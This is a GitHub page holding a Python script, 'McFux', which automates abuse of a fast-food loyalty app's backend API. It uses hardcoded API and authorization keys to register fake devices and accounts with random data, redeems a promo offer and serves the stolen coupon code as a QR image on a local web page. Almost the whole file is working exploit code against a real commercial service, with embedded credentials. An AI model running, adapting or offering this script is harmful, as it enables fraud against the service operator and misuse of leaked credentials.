-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmcfux.py
216 lines (177 loc) · 6.94 KB
/
mcfux.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
import requests
import string
import random
import subprocess
import uuid
from http.server import BaseHTTPRequestHandler, HTTPServer
class McFux:
#For a random generated UUID and device
random_uuid = ""
random_device = ""
#Hardcoded auth key
auth_key = "d4eee068-272a-4aec-9681-5e16dcef6fbd"
plexure_key = ""
#Configuration Endpoint
con_endpoint = "https://con-west-europe-gma.vmobapps.com/v3/"
#Initial registered auth token
init_token = ""
acreg_token = ""
#Promo code
promo_code = ""
#Util function
def randomString(self, stringLength):
letters = string.ascii_letters
return ''.join(random.choice(letters) for i in range(stringLength))
#I couldn't implementate it on python, so i used this "workaround", please forgive me!
def getPlexureKey(self):
stdoutdata = subprocess.getoutput("java McFux.java " + self.auth_key + " " + self.random_uuid)
print("[i] Plexure API key:", stdoutdata.split()[0])
return stdoutdata.split()[0]
def registerDevice(self):
headers = {
'x-plexure-api-key' : self.plexure_key,
'x-vmob-location_accuracy': '',
'x-vmob-beacons': '',
'Accept': 'application/json',
'x-vmob-device_os_version': '',
'x-vmob-device_type': 'a',
'x-vmob-device': self.randomDevice,
'x-vmob-uid' : self.random_uuid,
'x-vmob-cost-center': 'merchantId587',
'x-vmob-device_timezone_id': 'GMT',
'x-vmob-device_screen_resolution': '',
'x-vmob-mobile_operator': self.randomString(10),
'x-vmob-location_longitude': '',
'x-vmob-location_latitude': '',
'x-vmob-sdk_version': '4.37.2',
'x-vmob-device_network_type': '',
'Accept-Language': 'it-IT',
'x-vmob-device_utc_offset': '-0:00',
'x-vmob-application_version': '2530',
'Content-Type': 'application/json',
'User-Agent': self.randomString(10),
'Host': 'con-west-europe-gma.vmobapps.com',
}
data = '{"password":"' + self.randomString(20) + '","grant_type":"password","username":"'+ self.randomString(20) + '"}'
r = requests.post(self.con_endpoint + "DeviceRegistration", headers=headers, data=data)
if r.status_code == 200:
print("[i] Device Registration done, new auth token:",r.json()['access_token'])
self.init_token = r.json()['access_token']
else:
print("[e] While doing device registration, Quitting.. Error:", r.text)
quit()
def registerAccount(self):
headers = {
'x-plexure-api-key' : self.plexure_key,
'x-vmob-location_accuracy': '',
'x-vmob-beacons': '',
'Accept': 'application/json',
'x-vmob-device_os_version': '',
'x-vmob-device_type': 'a',
'x-vmob-uid': self.random_uuid,
'x-vmob-cost-center': 'merchantId587',
'x-vmob-authorization': '5853342c-d3ef-421c-b23d-5c6036b8ebd5',
'x-vmob-device_timezone_id': 'GMT',
'x-vmob-device_screen_resolution': '',
'x-vmob-mobile_operator': self.randomString(10),
'Authorization': self.init_token,
'x-vmob-device': self.randomDevice,
'x-vmob-location_longitude': '',
'x-vmob-location_latitude': '',
'x-vmob-sdk_version': '4.37.2',
'x-vmob-device_network_type': '',
'Accept-Language': 'it-IT',
'x-vmob-device_utc_offset': '-0:00',
'x-vmob-application_version': '2530',
'Content-Type': 'application/json',
'User-Agent': self.randomString(10),
'Host': 'con-west-europe-gma.vmobapps.com',
}
email = self.randomString(5) + "@" + self.randomString(5) + "." + self.randomString(2)
password = self.randomString(5)
data = '{"emailRegistration":{"emailAddress":"' + email + '","firstName":"' + self.randomString(5) + '","gender":"","lastName":"' + self.randomString(5) + '","password":"'+ password +'","tagValueAddReferenceCodes":["merchantId587"]},"grant_type":"password","password":"' + password + '","username":"' + email + '"}'
r = requests.post(self.con_endpoint + 'emailRegistrations', headers=headers, data=data)
if(r.status_code == 200):
self.acreg_token = "bearer " + r.json()['access_token']
print("[i] Got new account, new auth code:", self.acreg_token)
else:
print("[e] Error while getting new account, Quitting... Error:", r.text)
quit()
def getPromoCode(self, promo_id):
headers = {
'x-plexure-api-key': self.plexure_key,
'x-vmob-location_accuracy': '',
'x-vmob-beacons': '',
'Accept': 'application/json',
'x-vmob-device_os_version': '',
'x-vmob-device_type': 'a',
'x-vmob-uid': self.random_uuid,
'x-vmob-cost-center': 'merchantId587',
'x-vmob-authorization': '5853342c-d3ef-421c-b23d-5c6036b8ebd5',
'x-vmob-device_timezone_id': 'GMT',
'x-vmob-device_screen_resolution': '',
'x-vmob-mobile_operator': self.randomString(10),
'Authorization': self.acreg_token,
'x-vmob-device': self.randomDevice,
'x-vmob-location_longitude': '',
'x-vmob-location_latitude': '',
'x-vmob-sdk_version': '4.37.2',
'x-vmob-device_network_type': '',
'Accept-Language': 'it-IT',
'x-vmob-device_utc_offset': '-0:00',
'x-vmob-application_version': '2484',
'Content-Type': 'application/json',
'User-Agent': self.randomString(10),
'Host': 'con-west-europe-gma.vmobapps.com',
}
data = '{"offerInstanceUniqueId":"' + str(promo_id) + '","offerId":' + str(promo_id) + '}'
r = requests.post(self.con_endpoint + 'consumers/redeemedOffers', headers=headers, data=data)
if r.status_code == 200:
self.promo_code = r.json()['redemptionText']
print("[i] Success! Promo code:", self.promo_code)
return self.promo_code
else:
print("[e] Error while getting the code:", r.text)
quit()
def obtainCode(self, promo_id):
#Main method
self.random_uuid = str(uuid.uuid4())
print("[i] Random UUID generated:", self.random_uuid)
self.plexure_key = self.getPlexureKey()
self.randomDevice = self.randomString(10)
print("[i] Random Device ID:", self.randomDevice)
self.registerDevice()
self.registerAccount()
return self.getPromoCode(promo_id)
class S(BaseHTTPRequestHandler):
def _set_headers(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
def do_GET(self):
self._set_headers()
self.wfile.write(('<html><body><br><br><center><form action="" method="post"><input type="submit" name="getcode" value="PoC" /></form><p>McFux 2.0 // 0xF77</center></body></html>').encode())
def do_HEAD(self):
self._set_headers()
def do_POST(self):
# Doesn't do anything with posted data
self._set_headers()
promo_qr = McFux().obtainCode(15916)
self.wfile.write(('<html><body><br><br><center><img src="https://api.qrserver.com/v1/create-qr-code/?size=300x300&ecc=L&qzone=1&data=' + promo_qr + '"></img><br><p>Promo code: ' + promo_qr + '</p></center></body></html>').encode())
def run(server_class=HTTPServer, handler_class=S, port=8081):
server_address = ('localhost', port)
httpd = server_class(server_address, handler_class)
print("[i] Starting Server on 8081..")
httpd.serve_forever()
#generate_me = McFux()
#generate_me.obtainCode(15916)
if __name__ == '__main__':
try:
print("\nMcFux 2.0 // 0xf77")
run()
except KeyboardInterrupt:
print("\n[i] Shutting down..")
try:
quit()
except SystemExit:
quit()